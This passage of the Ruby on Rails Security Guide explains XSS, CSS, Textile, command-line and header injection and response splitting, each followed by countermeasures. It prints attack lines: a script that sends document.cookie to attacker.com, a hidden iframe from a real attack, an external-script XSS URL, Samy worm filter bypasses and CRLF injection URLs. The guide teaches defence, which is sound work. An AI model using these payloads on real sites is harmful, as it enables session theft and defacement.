<h6 id="cookie-theft">7.3.2.1 Cookie Theft</h6><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
<script>document.write(document.cookie);</script>
</pre>
</div>
<p>For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
</pre>
</div>
<p>The log files on <a href="http://www.attacker.com">www.attacker.com</a> will read like this:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
</pre>
</div>
<p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p><h6 id="defacement">7.3.2.2 Defacement</h6><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
</pre>
</div>
<p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed.</p><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
</pre>
</div>
<h6 id="html-javascript-injection-countermeasures">7.3.2.3 Countermeasures</h6><p><em>It is very important to filter malicious input, but it is also important to escape the output of the web application</em>.</p><p>Especially for XSS, it is important to do <em>whitelist input filtering instead of blacklist</em>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p><p>Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
strip_tags("some<<b>script>alert('hello')<</b>/script>")
</pre>
</div>
<p>This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
</pre>
</div>
<p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p><p>As a second step, <em>it is good practice to escape all output of the application</em>, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). <em>Use <code>escapeHTML()</code> (or its alias <code>h()</code>) method</em> to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (<code>&amp;</code>, <code>&quot;</code>, <code>&lt</code>;, and <code>&gt;</code>). However, it can easily happen that the programmer forgets to use it, so <em>it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</em>. SafeErb reminds you to escape strings from external sources.</p><h6 id="obfuscation-and-encoding-injection">7.3.2.4 Obfuscation and Encoding Injection</h6><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
</pre>
</div>
<p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the <a href="https://hackvertor.co.uk/public">Hackvertor</a>. Rails' sanitize() method does a good job to fend off encoding attacks.</p><h5 id="examples-from-the-underground">7.3.3 Examples from the Underground</h5><p><em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
</pre>
</div>
<p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on <a href="http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/">Rosario Valotta's paper</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p><h4 id="css-injection">7.4 CSS Injection</h4><div class="info"><p><em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<div style="background:url('javascript:alert(1)')">
</pre>
</div>
<p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
</pre>
</div>
<p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
alert(eval('document.body.inne' + 'rHTML'));
</pre>
</div>
<p>The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
</pre>
</div>
<p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.</p><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p><h5 id="css-injection-countermeasures">7.4.1 Countermeasures</h5><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <em>If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application</em>. Use Rails' <code>sanitize()</code> method as a model for a whitelist CSS filter, if you really need one.</p><h4 id="textile-injection">7.5 Textile Injection</h4><p>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://redcloth.org/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</p><p>For example, RedCloth translates <code>_test_</code> to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the <a href="http://www.redcloth.org">all-new version 4</a> that removed serious bugs. However, even that version has <a href="http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html">some security bugs</a>, so the countermeasures still apply. Here is an example for version 3.0.4:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
</pre>
</div>
<p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
</pre>
</div>
<p>However, this does not filter all HTML, a few tags will be left (by design), for example <a>:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
</pre>
</div>
<h5 id="textile-injection-countermeasures">7.5.1 Countermeasures</h5><p>It is recommended to <em>use RedCloth in combination with a whitelist input filter</em>, as described in the countermeasures against XSS section.</p><h4 id="ajax-injection">7.6 Ajax Injection</h4><div class="note"><p><em>The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <em>you have to escape the return value in the action</em>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p><h4 id="command-line-injection">7.7 Command Line Injection</h4><div class="note"><p><em>Use user-supplied command line parameters with caution.</em></p></div><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and <code>command</code>. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p><p>A countermeasure is to <em>use the <code>system(command, parameters)</code> method which passes command line parameters safely</em>.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
</pre>
</div>
<h4 id="header-injection">7.8 Header Injection</h4><div class="warning"><p><em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div><p>HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <em>Remember to escape these header fields, too.</em> For example when you display the user agent in an administration area.</p><p>Besides that, it is <em>important to know what you are doing when building response headers partly based on user input.</em> For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
redirect_to params[:referer]
</pre>
</div>
<p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
</pre>
</div>
<p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
</pre>
</div>
<p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
</pre>
</div>
<p>So <em>attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</em> And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the <code>redirect_to</code> method. <em>Make sure you do it yourself when you build other header fields with user input.</em></p><h5 id="response-splitting">7.8.1 Response Splitting</h5><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
</pre>
</div>
<p>Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. <em>In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</em></p><h3 id="unsafe-query-generation">8 Unsafe Query Generation</h3><p>Due to the way Active Record interprets parameters in combination with the way
that Rack parses query parameters it was possible to issue unexpected database
queries with <code>IS NULL</code> where clauses. As a response to that security issue
(<a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ">CVE-2012-2660</a>,
<a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ">CVE-2012-2694</a>
and <a href="https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ">CVE-2013-0155</a>)
<code>deep_munge</code> method was introduced as a solution to keep Rails secure by default.</p><p>Example of vulnerable code that could be used by attacker, if <code>deep_munge</code>
wasn't performed is:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
</pre>
</div>
<p>When <code>params[:token]</code> is one of: <code>[]</code>, <code>[nil]</code>, <code>[nil, nil, ...]</code> or
<code>['foo', nil]</code> it will bypass the test for <code>nil</code>, but <code>IS NULL</code> or
<code>IN ('foo', NULL)</code> where clauses still will be added to the SQL query.</p><p>To keep rails secure by default, <code>deep_munge</code> replaces some of the values with
<code>nil</code>. Below table shows what the parameters look like based on <code>JSON</code> sent in
request:</p>
<table>
<thead>
<tr>
<th>JSON</th>
<th>Parameters</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>{ "person": null }</code></td>
<td><code>{ :person => nil }</code></td>
</tr>
<tr>
<td><code>{ "person": [] }</code></td>
<td><code>{ :person => nil }</code></td>
</tr>
<tr>
<td><code>{ "person": [null] }</code></td>
<td><code>{ :person => nil }</code></td>
</tr>
<tr>
<td><code>{ "person": [null, null, ...] }</code></td>
<td><code>{ :person => nil }</code></td>
</tr>
<tr>
<td><code>{ "person": ["foo", null] }</code></td>
<td><code>{ :person => ["foo"] }</code></td>
</tr>
</tbody>
</table>
<p>It is possible to return to old behaviour and disable <code>deep_munge</code> configuring
your application if you are aware of the risk and know how to handle it:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.action_dispatch.perform_deep_munge = false
</pre>
</div>
<h3 id="default-headers">9 Default Headers</h3><p>Every HTTP response from your Rails application receives the following default security headers.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
</pre>
</div>
<p>You can configure default headers in <code>config/application.rb</code>.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}
</pre>
</div>
<p>Or you can remove them.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.action_dispatch.default_headers.clear
</pre>
</div>
<p>Here is a list of common headers:</p>
<ul>
<li>X-Frame-Options
<em>'SAMEORIGIN' in Rails by default</em> - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.</li>
<li>X-XSS-Protection
<em>'1; mode=block' in Rails by default</em> - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)</li>
<li>X-Content-Type-Options
<em>'nosniff' in Rails by default</em> - stops the browser from guessing the MIME type of a file.</li>
<li>X-Content-Security-Policy
<a href="http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html">A powerful mechanism for controlling which sites certain content types can be loaded from</a>
</li>
<li>Access-Control-Allow-Origin
Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.</li>
<li>Strict-Transport-Security
<a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">Used to control if the browser is allowed to only access a site over a secure connection</a>
</li>
</ul>
<h3 id="environmental-security">10 Environmental Security</h3><p>It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. <code>config/database.yml</code>, and your server-side secret, e.g. stored in <code>config/secrets.yml</code>. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.</p><h3 id="additional-resources">11 Additional Resources</h3><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p>
<ul>
<li>The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
</li>
<li>Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
</li>
<li>
<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)</li>
<li>A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
</li>
</ul>
<h3>反饋</h3>
<p>
歡迎幫忙改善指南的品質。
</p>
<p>
如發現任何錯誤之處,歡迎修正。開始貢獻前,可以先閱讀<a href="http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation">貢獻指南:文件</a>。
</p>
<p>翻譯如有錯誤,深感抱歉,歡迎 <a href="https://github.com/docrails-tw/guides/fork">Fork</a> 修正,或至此處<a href="https://github.com/docsrails-tw/guides/issues/new">回報</a>。</p>
<p>
文章可能有未完成或過時的內容。請先檢查 <a href="http://edgeguides.rubyonrails.org">Edge Guides</a> 來確定問題在 master 是否已經修掉了。再上 master 補上缺少的文件。內容參考 <a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails 指南準則</a>來了解行文風格。
</p>
<p>最後,任何關於 Ruby on Rails 文件的討論,歡迎至 <a href="http://groups.google.com/group/rubyonrails-docs">rubyonrails-docs 郵件論壇</a>。
</p>
</div>
</div>
</div>
<hr class="hide">
<div id="footer">
<div class="wrapper">
<p>本著作係採用<a href="https://creativecommons.org/licenses/by-sa/4.0/deed.zh_TW">創用 CC 姓名標示-相同方式分享 4.0 國際授權條款</a>授權。</p>
<p>“Rails”、“Ruby on Rails”,以及 Rails logo 為 David Heinemeier Hansson 的商標。版權所有。</p>
</div>
</div>
<script src="javascripts/jquery.min.js"></script>
<script src="javascripts/responsive-tables.js"></script>
<script src="javascripts/guides.js"></script>
<script src="javascripts/syntaxhighlighter/shCore.js"></script>
<script src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
<script src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
<script src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
<script src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
<script type="text/javascript">
SyntaxHighlighter.all();
$(guidesIndex.bind);
</script>
<script>
(function(i,s,o,g,r,a,m){i["GoogleAnalyticsObject"]=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,"script","//www.google-analytics.com/analytics.js","ga");
ga("create", "UA-49903900-1", "auto");
ga("require", "displayfeatures");
ga("send", "pageview");
</script>
</body>
</html>